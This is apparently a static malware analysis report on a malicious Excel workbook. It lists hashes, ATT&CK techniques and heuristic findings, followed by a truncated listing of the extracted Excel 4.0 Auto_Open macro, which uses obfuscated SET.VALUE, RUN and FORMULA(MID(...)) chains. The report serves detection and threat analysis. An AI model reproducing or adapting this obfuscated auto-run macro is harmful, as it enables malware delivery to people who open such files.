Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8de9ddfae3cfb97a…

MALICIOUS

Office (OLE)

214.0 KB Created: 2020-05-19 09:30:31 Authoring application: Microsoft Excel First seen: 2020-08-25
MD5: 5a6ee8b5b75a45b42a642f58181c09ca SHA-1: 8dcef4e2a2aec2d288b395d580d7ee286cd2e2b3 SHA-256: 8de9ddfae3cfb97a9a347964feeb52c6912c9bcfbeaae97db75045e1e2ab304f
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding. The macros utilize dangerous formula APIs such as RUN, indicating an intent to execute arbitrary commands. The presence of the Auto_Open macro suggests that the malicious code will execute automatically when the workbook is opened, likely to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 39009 bytes
SHA-256: cd1f6fdfde6e7a4f9d3d6fd05ac759eb4cfb9d8c743e86c9e4ef5dfd2b998917
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HhrWFZJp46cwGEhprYK0vKEzbCrPF
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!HU1792 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  HhrWFZJp46cwGEhprYK0vKEzbCrPF,HU1792,"SET.VALUE(GN47570," !"#$%&'()*+,-./01")",""
'  HhrWFZJp46cwGEhprYK0vKEzbCrPF,HU1793,RUN(HL46165),""
'  HhrWFZJp46cwGEhprYK0vKEzbCrPF,N1918,"SET.VALUE(HY17495," !"#$%&'()*+,-./01")",""
'  HhrWFZJp46cwGEhprYK0vKEzbCrPF,N1919,RUN(IR63798),""
'  HhrWFZJp46cwGEhprYK0vKEzbCrPF,CS3750,"SET.VALUE(IT1252,"EFGHIJKLMNOPQRSTUVW")",""
'  HhrWFZJp46cwGEhprYK0vKEzbCrPF,CS3751,RUN(GK54261),""
'  HhrWFZJp46cwGEhprYK0vKEzbCrPF,EE4170,"SET.VALUE(DH922,"XYZ[\]^_`abcdefghij")",""
'  HhrWFZJp46cwGEhprYK0vKEzbCrPF,EE4171,GOTO(BM53209),""
'  HhrWFZJp46cwGEhprYK0vKEzbCrPF,CV5461,"FORMULA(MID(HC18327,12,1)&MID(IW14259,5,1)&MID(IW14259,2,1)&MID(GN47570,9,1)&MID(IW14259,3,1)&MID(IW14259,1,1)&MID(IW14259,16,1)&MID(GN47570,15,1)&MID(IW14259,19,1)&MID(IW14259,5,1)&MID(IW14259,10,1)&MID(HC18327,19,1)&MID(IW14259,11,1)&MID(IW14259,19,1)&MID(GN47570,9,1)&MID(HC18327,1,1)&MID(HC18327,2,1)&MID(GN47570,10,1)&MID(HC18327,11,1)&MID(HC18327,2,1)&MID(GN47570,13,1)&MID(IW14259,3,1)&MID(IW14259,11,1)&MID(IW14259,16,1)&MID(IW14259,11,1)&MID(GN47570,9,1)&MID(IW14259,14,1)&MID(DH922,4,1)&MID(HC18327,5,1)&MID(GN47570,17,1)&MID(HC18327,8,1)&MID(GN47570,17,1)&MID(DH922,6,1)&MID(HC18327,18,1)&MID(DH922,4,1)&MID(GN47570,18,1)&MID(HC18327,2,1)&MID(HC18327,3,1)&MID(DH922,6,1)&MID(GN47570,10,1)&MID(GN47570,13,1)&MID(GN47570,10,1),CV5462)",""
'  HhrWFZJp46cwGEhprYK0vKEzbCrPF,CV5463,GOTO(J8016),""
'  HhrWFZJp46cwGEhprYK0vKEzbCrPF,GC6934,"FORMULA(MID(GN14510,12,1)&MID(HY17495,3,1)&MID(GN14510,18,1)&MID(GN14510,9,1)&MID(DR55553,5,1)&MID(IT1252,19,1)&MID(DR55553,18,1)&MID(DZ9993,4,1)&MID(DR55553,13,1)&MID(DZ9993,5,1)&MID(DZ9993,13,1)&MID(DZ9993,9,1)&MID(DR55553,5,1)&MID(DZ9993,9,1)&MID(DZ9993,15,1)&MID(DZ9993,9,1)&MID(DZ9993,10,1)&MID(DR55553,14,1)&MID(DZ9993,3,1)&MID(GN14510,2,1)&MID(GN14510,1,1)&MID(DR55553,5,1)&MID(DZ9993,8,1)&MID(DZ9993,11,1)&MID(DZ9993,4,1)&MID(DR55553,13,1)&MID(DZ9993,2,1)&MID(DZ9993,2,1)&MID(GN14510,2,1)&MID(GN14510,1,1)&MID(HY17495,15,1)&MID(DR55553,14,1)&MID(DZ9993,14,1)&MID(DR55553,14,1)&MID(HY17495,3,1),BP40488)",""
'  HhrWFZJp46cwGEhprYK0vKEzbCrPF,GC6935,GOTO(FH61120),""
'  HhrWFZJp46cwGEhprYK0vKEzbCrPF,J8016,"FORMULA(MID(HC18327,12,1)&MID(IW14259,5,1)&MID(IW14259,2,1)&MID(GN47570,9,1)&MID(IW14259,3,1)&MID(IW14259,1,1)&MID(IW14259,16,1)&MID(GN47570,15,1)&MID(IW14259,19,1)&MID(IW14259,11,1)&MID(IW14259,14,1)&MID(IW14259,7,1)&MID(IW14259,15,1)&MID(IW14259,12,1)&MID(HC18327,16,1)&MID(HC18327,18,1)&MID(IW14259,1,1)&MID(GN47570,9,1)&MID(HC18327,2,1)&MID(GN47570,18,1)&MID(GN47570,10,1)&MID(GN47570,13,1)&MID(IW14259,3,1)&MID(IW14259,11,1)&MID(IW14259,16,1)&MID(IW14259,11,1)&MID(GN47570,9,1)&MID(IW14259,14,1)&MID(DH922,4,1)&MID(HC18327,2,1)&MID(HC18327,4,1)&MID(HC18327,2,1)&MID(HC18327,4,1)&MID(DH922,6,1)&MID(HC18327,18,1)&MID(DH922,4,1)&MID(GN47570,18,1)&MID(HC18327,8,1)&MID(HC18327,7,1)&MID(DH922,6,1)&MID(GN47570,10,1)&MID(GN47570,13,1)&MID(GN47570,10,1),J8017)",""
'  HhrWFZJp46cwGEhprYK0vKEzbCrPF,J8018,RUN(BH29067),""
'  HhrWFZJp46cwGEhprYK0vKEzbCrPF,HQ9973,"FORMULA(MID(HC18327,12,1)&MID(IW14259,5,1)&MID(IW14259,2,1)&MID(GN47570,9,1)&MID(IW14259,3,1)&MID(IW14259,1,1)&MID(IW14259,16,1)&MID(GN47570,15,1)&MID(IW14259,19,1)&MID(IW14259,5,1)&MID(IW14259,10,1)&MID(HC18327,19,1)&MID(IW14259,11,1)&MID(IW14259,19,1)&MID(GN47570,9,1)&MID(HC18327,6,1)&MID(GN47570,10,1)&MID(GN47570,13,1)&MID(IW14259,3,1)&MID(IW14259,11,1)&MID(IW14259,16,1)&MID(IW14259,11,1)&MID(GN47570,9,1)&MID(IW14259,14,1)&MID(DH922,4,1)&MID(GN47570,18,1)&MID(HC18327,4,1)&MID(HC18327,6,1)&MID(HC18327,7,1)&MID(DH922,6,1)&MID(HC18327,18,1)&MID(DH922,4,1)&MI
... (truncated)

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